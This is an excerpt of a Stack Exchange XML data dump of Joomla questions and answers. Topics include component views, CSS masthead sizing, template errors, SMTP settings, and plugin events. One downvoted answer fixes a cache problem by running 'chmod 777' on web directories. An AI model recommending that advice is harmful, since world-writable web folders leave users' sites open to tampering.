name=&quot;language/**&quot;/&amp;gt;&amp;lt;/fileset&amp;gt;&amp;lt;/copy&amp;gt;&#xA;      &amp;lt;copy todir=&quot;${sitelang3}&quot;&amp;gt;&amp;lt;fileset dir=&quot;com_extension/site/language&quot;&amp;gt;&amp;lt;include name=&quot;**&quot;/&amp;gt;&amp;lt;/fileset&amp;gt;&amp;lt;/copy&amp;gt;&#xA;      &amp;lt;copy todir=&quot;${adminlang3}&quot;&amp;gt;&amp;lt;fileset dir=&quot;com_extension/admin/language&quot;&amp;gt;&amp;lt;include name=&quot;**&quot;/&amp;gt;&amp;lt;/fileset&amp;gt;&amp;lt;/copy&amp;gt;&#xA;   &amp;lt;/target&amp;gt;&#xA;&amp;lt;/project&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need not use the same approach and can write build file in whatever the way you like, this is just an example how you can do it.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-09-28T05:51:34.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18004" PostTypeId="1" CreationDate="2016-09-28T09:40:52.990" Score="0" ViewCount="82" Body="&lt;p&gt;I try to save data in multiple table from one view in joomla but two tables field names are same. So that's create error.&#xA;please guide me step by step.&lt;/p&gt;&#xA;" OwnerUserId="9084" LastActivityDate="2016-12-27T10:43:00.513" Title="How to add multiple models to a JView?" Tags="|component|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18005" PostTypeId="2" ParentId="18004" CreationDate="2016-09-28T09:51:37.013" Score="2" Body="&lt;p&gt;You may try to do this in your view&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$othermodel = JModelLegacy::getInstance('othermodel ','yourcomponentModel');&#xA;$othermodel-&amp;gt;otherModelFunction();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-09-28T09:51:37.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18006" PostTypeId="1" CreationDate="2016-09-28T11:26:33.090" Score="1" ViewCount="1199" Body="&lt;p&gt;Joomla! 3.6.2 Purity III 1.1.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created custom.css file in &lt;code&gt;/purity_III/default&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In it I put this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.page-masthead .jumbotron.jumbotron-primary {&#xA;    background: url(&quot;/images/norwegia.png&quot;) no-repeat center center;&#xA;    -webkit-background-size: cover;&#xA;    -moz-background-size: cover;&#xA;    -o-background-size: cover;&#xA;    background-size: cover;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, the image does not look nice. I do not see all the image. I need correct height. Please help me with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the website is &lt;a href=&quot;http://norwegia1.pl/&quot; rel=&quot;nofollow&quot;&gt;norwegia1.pl&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9085" LastEditorUserId="5638" LastEditDate="2016-09-28T13:52:32.873" LastActivityDate="2016-09-28T14:04:17.797" Title="Need help with my Masthead image in Purity III theme" Tags="|joomla-3.x|css|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18007" PostTypeId="2" ParentId="18006" CreationDate="2016-09-28T11:34:39.953" Score="0" Body="&lt;p&gt;try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.jumbotron.jumbotron-primary {&#xA;    height: 380px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-09-28T11:34:39.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18008" PostTypeId="1" AcceptedAnswerId="18062" CreationDate="2016-09-28T12:04:34.543" Score="1" ViewCount="68" Body="&lt;p&gt;I'm using hikashop for selling products in my website. I want to add user's bill to his profile after he completes the payment, so that he can have a summary of all his payment in his profile.&#xA;How can that be done? Is there any way to add the bills as module to user-profile? Do i have to write a separate component?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9072" LastEditorUserId="9072" LastEditDate="2016-10-09T11:41:11.790" LastActivityDate="2016-10-09T11:41:11.790" Title="adding bills after payment to user profile - hikashop" Tags="|joomla-3.x|component|module|module-display|hikashop|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18009" PostTypeId="2" ParentId="18006" CreationDate="2016-09-28T14:04:17.797" Score="1" Body="&lt;p&gt;Because this theme is responsive, the size of the masthead will always be changing. There is no single width/height combination that will always work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do is rebuild your image to cover the largest possible dimensions without being stretched. From my tests, the largest &lt;code&gt;height&lt;/code&gt; was &lt;code&gt;258px&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you need to position your critical image elements so they fit inside the smallest possible dimensions. From my tests, that &lt;code&gt;height&lt;/code&gt; was &lt;code&gt;166px&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the width, you just need the image wide enough to display all of the pictures. But, make sure the pictures are there in full (don't crop/cut, except on the bottom, if you like). Take the image width a little larger and end the image with a solid color. It looks like you are using a gradient in your image with the far right &lt;code&gt;color&lt;/code&gt; being &lt;code&gt;#78849c&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, instead of using &lt;code&gt;cover&lt;/code&gt;, you just set the background image with a position of the bottom left without repeating and set the background color to match the background color in your image. This way, the image appears to stretch the full width of the page, but instead, your CSS color is actually extended beyond the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final CSS code will look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.page-masthead .jumbotron.jumbotron-primary {&#xA;    background: #78849c url(&quot;/images/norwegia.png&quot;) no-repeat left bottom;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, as your masthead changes sizes, parts of the image may get hidden, but that is the extra parts that don't matter. The core content of your image will always be displayed.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-09-28T14:04:17.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18010" PostTypeId="1" CreationDate="2016-09-28T18:08:36.033" Score="0" ViewCount="393" Body="&lt;p&gt;I just upgraded a Joomla site from 3.2 to 3.6 an am receiving errors when going to edit any template (even Protostar) in Extensions-&gt;Templates-&gt;Templates-&gt;(click on my theme). The theme works great on the frontend. The errors are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The template folder is not writable. Some features may not work. Template folder not found.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Warning: ksort() expects parameter 1 to be array, boolean given in /home/xxxxx/public_html/administrator/components/com_templates/views/template/tmpl/default_tree.php on line 11&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Warning: Invalid argument supplied for foreach() in /home/xxxxx/public_html/administrator/components/com_templates/views/template/tmpl/default_tree.php on line 15&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user9088" LastEditorDisplayName="user9088" LastEditDate="2016-09-28T19:29:02.047" LastActivityDate="2016-09-28T20:55:25.027" Title="J3.6 template errors" Tags="|templates|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18012" PostTypeId="2" ParentId="18010" CreationDate="2016-09-28T20:55:25.027" Score="3" Body="&lt;p&gt;I got it fixed. I had to go into Extensions -&gt; Manage -&gt; Discover, then click Discover. Then all of the template options worked and filled with their relevant theme info.&lt;/p&gt;&#xA;" OwnerDisplayName="user9088" LastActivityDate="2016-09-28T20:55:25.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18013" PostTypeId="2" ParentId="15975" CreationDate="2016-09-29T08:12:24.660" Score="1" Body="&lt;p&gt;Possibly related to the template positions preview option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;extensions &gt; templates &gt; options&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eZ3ek.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eZ3ek.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2016-09-29T08:12:24.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18014" PostTypeId="2" ParentId="15975" CreationDate="2016-09-29T08:59:08.330" Score="1" Body="&lt;p&gt;At the time of the question it didn't work (for some reason that I didn't find out).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does work as expected in every version of Joomla that I've tested since (including 3.6.2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For the ones that don't know what this is, here's some background:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to run a particular PHP file in the site's context (without some complex hacking or via an extension), for example if you would like to do a database call in development, you just need to place that PHP file inside the current template's folder, and then (in the browser) call it without the extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I would like to update all my users with some complex database query&#xA;(that would be easier to do in a Joomla environment vs doing it&#xA;directly in mySQL), and for that I would code a PHP file to do the&#xA;database queries, let's call it &lt;code&gt;databasequery.php&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now move/copy that file into your current template folder, so that&#xA;it sits in the root of the template together with the template's index.php, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To call that file, go to your browser and type &lt;code&gt;?tmpl=databasequery&lt;/code&gt;&#xA;    after the site address (notice the file name without the file&#xA;    extension!). So, for example:&#xA;    &lt;code&gt;www.thisismysitenamehere.tld/?tmpl=databasequery&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;That's it!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; depending on the use of this technique, and if you use it for custom temporary coding, don't forget to remove it when you place your site in production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use this technique to do AJAX calls, and it plays well with the &lt;code&gt;defined( '_JEXEC' )&lt;/code&gt; and the Joomla libraries, because it is in the Joomla context.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2016-09-29T08:59:08.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18016" PostTypeId="2" ParentId="17720" CreationDate="2016-09-29T14:22:43.460" Score="1" Body="&lt;p&gt;Maybe look at other PHP values like &lt;strong&gt;max_input_time&lt;/strong&gt; or some of the other suggestions in &#xA;&lt;a href=&quot;http://php.net/manual/en/features.file-upload.common-pitfalls.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/features.file-upload.common-pitfalls.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;max_input_time&lt;/strong&gt; sets the maximum time, in seconds, the script is&#xA;  allowed to receive input; this includes file uploads. For large or&#xA;  multiple files, or users on slower connections, the default of 60&#xA;  seconds may be exceeded.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-09-29T14:22:43.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18017" PostTypeId="1" CreationDate="2016-09-29T17:58:31.380" Score="0" ViewCount="705" Body="&lt;p&gt;Please I will be glad if anyone can help me on how to execute a php script after saving a form data from Joomla 3x Banner component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to achieve is to run a push notification after saving ads in Joomla banner component. The push works well when i run it off Joomla platform, but i dont now where to place the code so that it can execute upon saving the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be glad if anyone cal help me, thank you.&lt;/p&gt;&#xA;" OwnerUserId="7083" LastActivityDate="2016-10-01T09:35:48.000" Title="Execute php script after saving Joomla 3x form" Tags="|joomla-3.x|custom-action|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18019" PostTypeId="1" CreationDate="2016-09-29T21:22:25.773" Score="1" ViewCount="295" Body="&lt;p&gt;As you can probably see in my previous queestions, I'm new to Joomla with less than a year's worth of experience. I'm looking to start building out Mobile pages - but a previous developer left me in a difficult spot. The only thing he did was add a mobile plugin. However, when you visit our site (&lt;a href=&quot;http://ejgh.org.&quot; rel=&quot;nofollow&quot;&gt;ejgh.org&lt;/a&gt;) from a mobile phone, it defaults to a blank page. I was able to build out a demo page under an article that was titled &quot;Mobile Home&quot;, however it doesn't default when you pull up our site on a mobile device or tablet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've noticed the URL to the mobile page is &lt;a href=&quot;http://ejgh.org/mobile-home&quot; rel=&quot;nofollow&quot;&gt;http://ejgh.org/mobile-home&lt;/a&gt;. How can I get my website to default to that URL when accessing from a mobile device? It was working at one point but it since stopped and the developer is MIA. I've looked through the Mobile template and settings to see where I can change this but nothing is working. I'm running Joomla 3.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hoping this made sense! &lt;/p&gt;&#xA;" OwnerUserId="8986" LastActivityDate="2023-12-23T23:00:45.113" Title="Need to Change the Default URL on Mobile Joomla" Tags="|joomla-3.4|plugin|mobile-web-design|mobile-detection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18020" PostTypeId="2" ParentId="18019" CreationDate="2016-09-29T21:28:24.793" Score="0" Body="&lt;p&gt;Disregard, y'all! I found it - it's in the Menu settings. (Insert 'long day' excuse here)&lt;/p&gt;&#xA;" OwnerUserId="8986" LastActivityDate="2016-09-29T21:28:24.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18021" PostTypeId="2" ParentId="18017" CreationDate="2016-09-30T02:24:15.800" Score="0" Body="&lt;p&gt;I'm not sure exactly what your trying to do but, just a suggestion, I would look at trying to leverage perhaps the event system in Joomla. Have a look at maybe creating a plugin that responds to saving the form data. Joomla has various events that can be leveraged and can let you extend functionality of the core system. Kind of like hooks where you can place your necessary function and it will run after or before a various event. See perhaps using the onContentAfterSave event. Have a look at the plugin events &lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Plugin/Events&lt;/a&gt; for others. Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="6973" LastActivityDate="2016-09-30T02:24:15.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18022" PostTypeId="2" ParentId="17997" CreationDate="2016-09-30T02:50:05.420" Score="-2" Body="&lt;p&gt;Thank You my friends&#xA;for slove this problem, im use the fllow code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo chmod 777 /var/www/html/myjoomla/administrator/cache&#xA;sudo chmod 777 /var/www/html/myjoomla/cache&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank You - AD@Body&lt;/p&gt;&#xA;" OwnerUserId="9081" LastActivityDate="2016-09-30T02:50:05.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18023" PostTypeId="2" ParentId="17901" CreationDate="2016-09-30T09:53:01.353" Score="0" Body="&lt;p&gt;Have you viewed the source code on those pages, in particular the &quot;fetch as Google&quot; vesions?  Most hacks for SEO spam will not make the links visible to the user, as they are just for the search engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your priority needs to be to make sure that it is definitely a false positive by Google.  Patching after the event will not remove any backdoors - compare your files with those of a fresh Joomla install in order to make sure any differences can be accounted for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the hacker was attempting to host malware rather than add SEO links, then it is more likely that the hacker has tried (but failed) to upload files to these locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most hacks are automated, so it may be a case that a hacker has not checked that they have been able to upload their files to a site before sending spam links to their hacked pages.  The hacker's tools may just say that the page exists, so the hack was successful (rather than the page exists due to how Joomla works).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I was you, I'd just use .htaccess to return a 404 on these 3 specific pages (if the site definitely is not hacked, that is).  I see no reason to try and rewrite how Joomla works - that seems far to excessive to solve this problem.  &lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2016-09-30T10:33:01.223" LastActivityDate="2016-09-30T10:33:01.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18024" PostTypeId="1" AcceptedAnswerId="18025" CreationDate="2016-09-30T13:38:53.157" Score="0" ViewCount="25" Body="&lt;p&gt;So, I'm trying to update a page on a site I am maintaining and it doesn't seem to be made up from articles. I have explored the menu for the page, and there doesn't seem to be any obvious candidates for what it on the page (either modules or articles). I've found the Google Maps plug in for the page, but I'm lost. I think the page is hard coded somewhere, but I'm not sure where that would be. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After turning off the search engine friendly URLS I got this:&#xA;&lt;code&gt;index.php?option=com_contact&amp;amp;view=contact&amp;amp;id=1&amp;amp;Itemid=102&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="8870" LastEditDate="2016-09-30T13:55:22.473" LastActivityDate="2016-09-30T14:07:00.137" Title="How to update a page that is not built from articles?" Tags="|content|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18025" PostTypeId="2" ParentId="18024" CreationDate="2016-09-30T14:07:00.137" Score="1" Body="&lt;p&gt;So, this was apparently an honest to goodness contact page.&lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2016-09-30T14:07:00.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18026" PostTypeId="1" AcceptedAnswerId="18040" CreationDate="2016-09-30T17:31:22.413" Score="1" ViewCount="649" Body="&lt;p&gt;In my main controller, I'm successfully incorporating a custom path for the &lt;em&gt;Model&lt;/em&gt;, but seem to be missing something for the custom path to the &lt;em&gt;View&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The component path is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\components&#xA;    \com_meetings&#xA;        \models&#xA;            \meetings&#xA;                meetings.php          (Joomla Default)&#xA;            \custom&#xA;                \meetings&#xA;                    meetings.php      (My custom override that works)&#xA;        \views&#xA;            \meetings                 (Joomla Default)&#xA;                \tmpl&#xA;                view.html.php          &#xA;            \custom                   (My Custom views Folder)&#xA;                \meetings             (Customized View)&#xA;                    \tmpl             (This folder is ignored)&#xA;                    view.html.php     (This DOES load)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, with the below code, Joomla &lt;em&gt;does&lt;/em&gt; properly load the custom Model but only &lt;em&gt;partially&lt;/em&gt; loads the custom view.  (My &lt;code&gt;view.html.php&lt;/code&gt; is loaded, but the relevant &lt;code&gt;\tmpl&lt;/code&gt; folder is ignored and it reverts back to the default &lt;code&gt;\tmpl&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;com_meetings\controller.php:&lt;/strong&gt; (Joomla 3.6.2)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;jimport('joomla.application.component.controller');&#xA;class MeetingsController extends JControllerLegacy {&#xA;    public function __construct($config = array()) {&#xA;        $this-&amp;gt;input = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;        // Begin Custom Model and View Paths&#xA;        $view_name          = $this-&amp;gt;input-&amp;gt;getCmd('view', $this-&amp;gt;default_view);&#xA;        // Custom Model Path&#xA;        $custom_model_path  = JPATH_COMPONENT.'/models/custom/';&#xA;        $custom_model       = $custom_model_path.$view_name.'.php';&#xA;        if(is_dir( $custom_model_path )){&#xA;            if(file_exists( $custom_model )){&#xA;                $config['model_path'] = $custom_model_path;&#xA;            }&#xA;        }&#xA;        // Custom View Path&#xA;        $custom_view_path   = JPATH_COMPONENT.'/views/custom/';&#xA;        if(is_dir( $custom_view_path )){&#xA;            $custom_view_path   .= $view_name;&#xA;            if(is_dir( $custom_view_path )){&#xA;                $custom_view        = $custom_view_path.'/view.html.php';&#xA;                if(file_exists( $custom_view )){&#xA;                    $config['view_path'] = JPATH_COMPONENT.'/views/custom';&#xA;                }&#xA;            }&#xA;        }&#xA;        // End Custom View Path&#xA;&#xA;        parent::__construct($config);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above paths ARE considered in the &lt;code&gt;__construct()&lt;/code&gt; method of &lt;code&gt;libraries\fof\controller\controller.php&lt;/code&gt; around line 594 and 617, and does load my &lt;code&gt;view.html.php&lt;/code&gt;, but as mentioned the relative &lt;code&gt;\tmpl&lt;/code&gt; folder is being ignored.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Line 594   if (array_key_exists('model_path', $config))....&#xA;Line 617   if (array_key_exists('view_path', $config))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;views\custom\meetings\view.html.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MeetingsViewMeetings extends JViewLegacy {&#xA;public function display($tpl = null)&#xA;{&#xA;    $app = JFactory::getApplication();&#xA;    if (count($errors = $this-&amp;gt;get('Errors'))) {&#xA;        throw new Exception(implode(&quot;\n&quot;, $errors));&#xA;    }&#xA;&#xA;    $this-&amp;gt;_prepareDocument();&#xA;    \\ The override gets this far;&#xA;    parent::display($tpl);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't follow where this is being checked, and can't see what I've done wrong.  Any suggestions are welcomed~&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S., I know I can put override views in the template, but I want to implement the custom path of Joomla at the component level to retain the customizations regardless of what Template may be active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ADDITONAL UPDATE&lt;/strong&gt;&#xA;When looking at the $view, I see that it has resolved the paths to check for.  So I guess the question is how to get my custom path between these 2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[_path:protected] =&amp;gt; Array (&#xA;        [template] =&amp;gt; Array (&#xA;                [0] =&amp;gt; C:\www\commission\templates\protostar\html\com_meetings\meetings\&#xA;                [1] =&amp;gt; C:\www\commission\components\com_meetings\views\meetings\tmpl\&#xA;            )&#xA;    )&#xA;[_template:protected] =&amp;gt; C:\www\commission\components\com_meetings\views\meetings\tmpl\default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2016-10-01T13:12:06.577" LastActivityDate="2016-11-03T05:37:06.960" Title="Override View path in the Controller is only partially working" Tags="|joomla-3.x|custom-component|view|controller|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18027" PostTypeId="2" ParentId="16741" CreationDate="2016-09-30T23:21:13.787" Score="1" Body="&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Check your junk mail. You will HATE yourself if you don't and that's where it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Make sure your site can send emails. Fill out a webform, use the Send Test Email, anything, with your own email of course, to see if it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.5.1 did change a few things, as mentioned above. I've had to change SMTP ports on a few different sites just to get email going through again after updating. It's also possible your host made some server changes that are now blocking your current settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; If you can get an email through, the next thing to check is all your config - yes there is the one in the user options, but there is also a toggle inside the user itself and the default is set to NO. Third, in Global config there is the option for &quot;Disable Mass Mail&quot; (and send mail should be on of course - made that mistake before!!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 4:&lt;/strong&gt; Everything is set up right but it's still not working? Go to your plugins and order them backwards by ID. Disable everything you've added to the site that's not there natively (it'll be at the top). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've got everything new disabled (hopefully you don't have so many that you can't keep track of them mentally, but be sure to keep a record if needed), try sending your mail again. If it doesn't work, flip all your plugins back on, they're not the cause.  If the email does work, flip your plugins back on in chunks and keep testing until you eliminate the problem. Then you'll at least know what plugin is the culprit and can check the developer page for information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 5:&lt;/strong&gt; If none of this has worked...check your junk mail again. It might have worked and you just didn't notice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 6:&lt;/strong&gt; Update all the things and try steps 2 and 3 again. Note that 3.6.2 has the same problems that 3.5.1 has, so you might need to play around with some port settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If none of this works,&lt;/strong&gt; go back to the host. See if they're blocking mass mail, or have heard of this happening on their server. They might be able to help.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2016-09-30T23:21:13.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18028" PostTypeId="2" ParentId="16741" CreationDate="2016-10-01T07:53:18.897" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Try this configuration once, if it worked. You haven't set it up correctly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Use Gmail as your mailer, below are the SMTP config and it works perfectly (even on localhost)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;strong&gt;Global Configuration&lt;/strong&gt; -&gt; &lt;strong&gt;Server&lt;/strong&gt; -&gt; &lt;strong&gt;Mail Settings&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Send Mail&lt;/strong&gt; : &lt;code&gt;Yes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mailer&lt;/strong&gt; : &lt;code&gt;SMTP&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From Email&lt;/strong&gt; : &lt;code&gt;youremail@gmail.com&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From Name&lt;/strong&gt; : &lt;code&gt;name_goes_here&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SMTP Authentication&lt;/strong&gt; : &lt;code&gt;Yes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SMTP Security&lt;/strong&gt;  : &lt;code&gt;SSL&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SMTP Port&lt;/strong&gt; : &lt;code&gt;465&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SMTP Username&lt;/strong&gt; : &lt;code&gt;youremail@gmail.com&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SMTP Password&lt;/strong&gt; : &lt;code&gt;your_gmail_account_password&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SMTP Host&lt;/strong&gt; : &lt;code&gt;smtp.gmail.com&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="383" LastEditDate="2019-03-02T14:19:39.660" LastActivityDate="2019-03-02T14:19:39.660" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18030" PostTypeId="2" ParentId="18017" CreationDate="2016-10-01T09:30:46.420" Score="1" Body="&lt;p&gt;You can build a Joomla plugin and use the event&#xA;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content#onContentAfterSave&quot; rel=&quot;nofollow&quot;&gt;onContentAfterSave&lt;/a&gt; and check if the &lt;code&gt;context&lt;/code&gt; is &lt;code&gt;com_banners.banner&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_content_plugin&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; is to help you with building your plugin. &#xA;When you get to the PHP part, you will write the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; // no direct access&#xA; defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;&#xA; // The class name should start with plgContent&#xA; class plgContentYourPluginName extends JPlugin {&#xA;   function onContentAfterSave($context, $article, $isNew)&#xA;   {&#xA;     if ($context == 'com_banners.banner')&#xA;     {&#xA;       //add your PHP script here&#xA;     }&#xA;     return true;&#xA;   }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9093" LastEditorUserId="9093" LastEditDate="2016-10-01T09:35:48.000" LastActivityDate="2016-10-01T09:35:48.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
